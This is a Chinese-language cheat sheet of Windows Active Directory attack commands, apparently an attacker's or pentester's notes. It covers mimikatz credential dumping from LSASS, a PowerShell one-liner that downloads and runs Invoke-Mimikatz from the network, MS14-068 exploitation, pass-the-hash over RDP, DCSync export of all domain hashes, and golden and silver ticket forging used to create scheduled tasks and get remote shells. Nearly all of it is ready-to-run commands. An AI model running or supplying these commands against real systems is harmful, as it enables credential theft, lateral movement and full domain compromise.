cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::msv 抓取hash
sekurlsa::logonPasswords--获登陆用户信息及密码
sekurlsa::ekeys 抓取hash
在msf中的meterpreter
也可以直接加载mimikatz
工具,要执行mimikatz
命令:
load kiwi
kiwi_cmd kerberos::list
1、mimikatz
抓取密码
privilege::debug 提生权限
sekurlsa::logonPasswords抓取密码
2、当mimikatz
无法上传时,可以利用procdump64.exe
来操作
在目标机运行:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp #导出为lsass.dump文件,放在mimikatz目录下
然后本地运行
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
3、通过powershell
抓取密码
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
MS14-068
编号CVE-2014-6324
,补丁为3011780
我的域控是win2012 R2,没有利用成功,但是win2008 R2是可以的
后来查了下,貌似影响版本从win2000-win2012(不包括win2012)
1、使用MS14-068.exe
MS14-068.exe -u test@test.com -s S-1-5-21-1528753600-3951244198-520479113-1107 -d 192.168.93.10 -p 123!@#qwe #其中-s 用whoami /all查看 输入的是域用户的账号密码,同时注意不能忽略掉sid后面几位,和黄金票据不太一样
klist purge #删除所有缓存票据,如果不清除,在域用户下就不能利用成功,只能在本地用户下利用成功
kerberos::purge
kerberos::list
kerberos::ptc TGT_test@test.org.ccache #注意不是kerberos::ptt
在cmd中使用klist
查看缓存的票据
2、使用kekeo
更简单高效, 因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现
exploit::ms14068 /domain:test.org /user:test /password:123!@#qwe /ptt
goldenPac.exe test.com/test:123!@#[email protected]
goldenPac.py xxx.com/jack:jackpwd@dc.xxx.com
使用以下命令操作
net use \\AD.test.org
dir \\AD.test.org\c$
然后就可以直接利用PsExec.exe
或者wmiexec.vbs获得cmdshell
psexec.exe \\192.168.93.224 cmd
注意事项:
1、注入票据时,机器不能是03
或xp
,因为mimikatz不支持这两个机器注入,听大佬说过有工具可以注入,希望有知道的朋友可以留言
2、当获取到域用户、域用户sid、密码以及可访问到域控制器的机器,并不需要机器一定在域中,但需要把dns指向域控制器才能解析
3、访问域控制器时,需要使用主机名,不能使用ip
深入解读MS14-068漏洞:微软精心策划的后门?
通常来说,pass-the-hash的攻击模式是这样的:
1、获取一台域主机高权限
2、利用mimikatz等工具导出密码hash
privilege::debug
sekurlsa::logonpasswords
3、用导出的hash尝试登陆其他域主机
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:AD.test.com /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"
mimikatz
的path-the-hash
功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe
的信息
对于8.1/2012r2,安装补丁kb2871997
的Win 7/2008r2/8/2012,可以使用AES keys
代替NT hash
其实对于没安装kb2871997
的机器
对于非域用户,只有管理员用户可以连接(RID=500为管理用户)
对于域用户,RID不为500的账户也可以连接
使用mimikatz
先获取hash
:
privilege::debug
sekurlsa::ekeys
注意这里mimikatz
是复制不了的
解决方法是使用日志记录功能将回显内容输出到文件中,开启日志记录功能后会把输出回显的内容保存在同级目录下的mimikatz.log
中,命令参考如下:
log
privilege::debug
sekurlsa::ekeys
最后的命令为:
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"
这儿介绍一种不需要管理员权限的方法
kekeo "tgt::ask /user:administrator /domain:test.com /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"
执行后生成票据[email protected][email protected]
接下来导入票据:
kekeo "kerberos::ptt [email protected][email protected]"
参考链接
从hash传递攻击谈相关Windows安全机制
适用系统
Windows 8.1和Windows Server 2012 R2默认支持该功能
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
这儿主要使用Restricted Admin mode
的方法来开启远程桌面
1、安装补丁3126593
实现原理同下文的方法2(修改注册表)
方法2: 修改注册表
位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
新建DWORD
键值DisableRestrictedAdmin
,值为0
,代表开启;值为1
,代表关闭;
对应命令行开启的命令如下:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
执行如下命令
mstsc.exe /restrictedadmin
如果当前系统不支持Restricted Admin mode
,执行后弹出远程桌面的参数说明,如下图
如果当前系统支持Restricted Admin mode
,执行后弹出远程桌面的登录界面,如下图
值得注意的是,Restricted Admin mode
使用当前Windows登录凭据
,不需要输入口令,直接登录即可,所以这儿可以直接和pass-the-hash
配合使用
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"
执行后弹出远程登录界面,如下图
这儿一般直接将内网流量代理出来在本地执行
linux下使用明文远程登录的参数:
xfreerdp /u:administrator /p:test123! /v:192.168.62.136 /cert-ignore
linux下使用hash远程登录的参数:
xfreerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.136 /cert-ignore
现在github上的FreeRDP
好像不支持hash传递了,不过最新版的kali
上还保留hash传递的pth-xfreerdp
命令为:
proxychains xfreerdp /u:administrator /pth:e5ae562ddfaa6b446c32764ab1ebf3ed /v:192.168.1.7 /cert-ignore
参考链接
参考链接
利用条件
krbtgt 用户哈希
域用户的SID
用户名(域管理员)
域名
lsadump::dcsync /domain:test.com /user:krbtgt exit
这儿简单说一下lsadump::dcsync
的使用条件
获取以下任意一个用户权限:
1、Administrators 组
2、Domain Admins组
3、Enterprise Admins(企业管理员)组
4、域控制器的计算机账户
使用说明
privilege::debug
#导出域内所有用户的hash
lsadump::dcsync /domain:test.com /all /csv
#导出域内administrator账户的hash
lsadump::dcsync /domain:test.com /user:administrator /csv
更多的关于如何利用DCSync 在域内维持权限的方法
参考以下链接
使用krbtgt-ntlm
构造凭证
kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /krbtgt:0199f7c89b9d5262c897e0d1bf858bfb /user:administrator /ticket:ntlm.kirbi
或使用krbtgt-aes256
值构造票据
kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /aes256:70c75b92598875616624b55e027b5506d330dac55c322c19d18b86b6565622fb /user:administrator /ticket:gold.kirbi
使用mimikatz
或者kekeo
都可以(kekeo
貌似不需要管理员权限,没具体实验)
导入票据步骤
1、在cmd中先清除 klist purge
2、在cmd中进入kekeo或者mimikatz(这样可以复制粘贴)
3、kerberos::purge
4、kerberos::ptt gold.kirbi
5、exit
6、dir \\AD\c$
参考链接
这个是伪造TGS的票据来访问某个目录,比较鸡肋
我们首先需要获取以下信息
/domain test.com
/sid 没有后面几位数字,和黄金票据一样(这是目标系统的管理员SID)
/target:目标服务器的域名全称,此处为域控的全称,例如AD.test.com
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户(并非域用户)
/user:要伪造的用户名,此处可用silver测试,可以随意填
WIN-8VVLRPIAJB0$
的NTLM hash,如果是其他账户,那么会失败最后在mimikatz
或者kekeo
(不需要管理员权限)执行以下语句
klist purge
kerberos::purge
kerberos::golden /domain:test.com /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.com /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt
为cifs
服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket
后,我们现在可以访问目标计算机上的任何共享,包括
c$
共享,我们能够将文件拷贝到共享文件中。
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
利用HOST Silver Ticket,我们可以创建一个新的计划任务。
或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。
命令:
klist purge
kerberos::purge
kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /target:AD.test.com /service:HOST /rc4:49ad8aa69750fa735b7f85da7da9d3c0 /user:silver /ptt
schtasks /query /s AD.test.com
schtasks /create /sc minute /mo 20 /tn "Security scrīpt" /tr \\central\data\scrīpts\sec.vbs
# /sc 时间单位; /mo 每二十个时间单位运行一次; /tn 任务的名称; /tr 计划任务脚本或者软件,假如我们能到控制域控的计划任务,则我们可以直接把脚本放在我们域用户计算机上 \\central\data\scrīpts.ps1 ,这样就是访问远程脚本,但是计划任务确实在域控上执行
直接运行schtasks /query
会报 错误: 无法加载列资源
这是编码的问题,直接将gbk编码(936)改为英文的编码(437)
chcp 437
为http
服务和wsman
服务创建Silver Ticket,以获得目标系统上的WinRM
和或PowerShell Remoting
的管理权限。
注入两张HTTP&WSMAN
白银票据后,我们可以使用PowerShell
远程(或WinRM
的)反弹出目标系统shell。
首先New-PSSession
使用PowerShell
创建到远程系统的会话的PowerShell cmdlet
,然后Enter-PSSession
打开远程shell。
为ldap
服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP
服务的管理权限。
这样就可以导出目标系统的hash
#导出域内所有的hash
lsadump::dcsync /domain:test.com /all /csv
#导出域内administrator账户的hash
lsadump::dcsync /domain:test.com /user:administrator /csv
后来经过测试,必须同时导入LDAP和CIFS两个TGS才能访问目标系统的hash
为HOST
服务和rpcss
服务创建白银票据,以使用WMI
在目标系统上远程执行命令。
先确定一下票据有没有写入,然后使用WMIC
执行命令
参考链接
参考链接